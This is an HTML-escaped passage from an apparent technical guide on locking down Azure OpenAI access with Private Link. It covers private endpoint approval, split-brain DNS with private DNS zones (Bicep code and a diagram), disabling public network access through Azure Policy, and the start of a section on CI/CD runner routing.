\u003cspan style=\"color:#75715e\"\u003e// Required for Azure AI / OpenAI\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIf your OpenAI resource is in a different subscription than the VNet, the connection enters a \u0026ldquo;Pending\u0026rdquo; state and requires manual approval in the Networking blade of the OpenAI resource.\u003c/p\u003e\n\u003ch2 id=\"4-dns-configuration-the-split-brain-pattern\"\u003e4. DNS Configuration: The Split-Brain Pattern\u003c/h2\u003e\n\u003cp\u003ePrivate Link creates the private IP, but your applications still use the FQDN \u003ccode\u003eyour-resource.openai.azure.com\u003c/code\u003e. Without a DNS override, that FQDN still resolves to the public IP — and your traffic fails the moment you disable public access. The Private DNS step is where most implementations fail silently.\u003c/p\u003e\n\u003ch3 id=\"split-brain-dns-resolution\"\u003eSplit-Brain DNS Resolution\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 768 249\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 80,64 L 352,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,112 L 616,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,160 L 616,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,208 L 352,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,24 L 72,40' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,64 L 72,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,208 L 72,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,32 L 360,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,112 L 360,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,160 L 360,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,32 L 624,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='88.000000,208.000000 76.000000,202.399994 76.000000,213.600006' fill='currentColor' transform='rotate(180.000000, 80.000000, 208.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='360.000000,64.000000 348.000000,58.400002 348.000000,69.599998' fill='currentColor' transform='rotate(0.000000, 352.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='376.000000,160.000000 364.000000,154.399994 364.000000,165.600006' fill='currentColor' transform='rotate(180.000000, 368.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='624.000000,112.000000 612.000000,106.400002 612.000000,117.599998' fill='currentColor' transform='rotate(0.000000, 616.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='16' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='52' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='196' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='52' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='100' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='148' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='20' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='20' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='20' fill='currentColor' style='font-size:1em'\u003e8\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='20' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='20' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='20' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='20' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='20' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='20' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='20' fill='currentColor' style='font-size:1em'\u003e9\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='20' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='20' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='20' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='148' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='148' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='148' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='148' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='148' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='148' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='148' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='148' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='148' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='20' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='20' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='20' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='704' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='712' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='720' y='20' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='728' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='736' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='744' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='752' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"private-dns-zones\"\u003ePrivate DNS Zones\u003c/h3\u003e\n\u003cp\u003eAzure provides a specialized Private DNS Zone: \u003ccode\u003eprivatelink.openai.azure.com\u003c/code\u003e. When you link your VNet to this zone, any query for an OpenAI resource returns the private IP. The \u003ccode\u003eprivateDnsZoneGroups\u003c/code\u003e resource in Bicep automates the A-record registration.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e dnsGroup \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.Network/privateEndpoints/privateDnsZoneGroups@2023-04-01\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;default\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  parent: privateEndpoint\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    privateDnsZoneConfigs: [\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;openai-config\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          privateDnsZoneId: dnsZoneId \u003cspan style=\"color:#75715e\"\u003e// ID of the privatelink.openai.azure.com zone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFor on-premises developers using VPN or ExpressRoute, configure a conditional forwarder on your local DNS server pointing \u003ccode\u003eopenai.azure.com\u003c/code\u003e to an Azure DNS Private Resolver in your hub VNet.\u003c/p\u003e\n\u003ch2 id=\"5-disabling-public-network-access\"\u003e5. Disabling Public Network Access\u003c/h2\u003e\n\u003cp\u003eOnce you verify the Private Endpoint, disable public access. \u003cstrong\u003eDo not perform this step first\u003c/strong\u003e — you will lock yourself out of the resource until the private path is functional.\u003c/p\u003e\n\u003cp\u003eSet \u003ccode\u003epublicNetworkAccess\u003c/code\u003e to \u003ccode\u003eDisabled\u003c/code\u003e. Any request not originating from your Private Endpoint is rejected with a 403 or a connection refusal.\u003c/p\u003e\n\u003ch3 id=\"enforcement-at-scale\"\u003eEnforcement at Scale\u003c/h3\u003e\n\u003cp\u003eAssign the built-in Azure Policy \u0026ldquo;Cognitive Services accounts should disable public network access\u0026rdquo; (ID: \u003ccode\u003e0725b4dd-7e76-479c-a735-68e7ee23d5ca\u003c/code\u003e) in \u003ccode\u003eDeny\u003c/code\u003e mode at your Management Group level. This blocks any future AI deployments that skip Private Link.\u003c/p\u003e\n\u003ch2 id=\"6-routing-cicd-traffic\"\u003e6. Routing CI/CD Traffic\u003c/h2\u003e\n\u003cp\u003eMicrosoft-hosted GitHub Actions runners live on the public internet. They cannot reach your VNet. If you disable public access, those runners 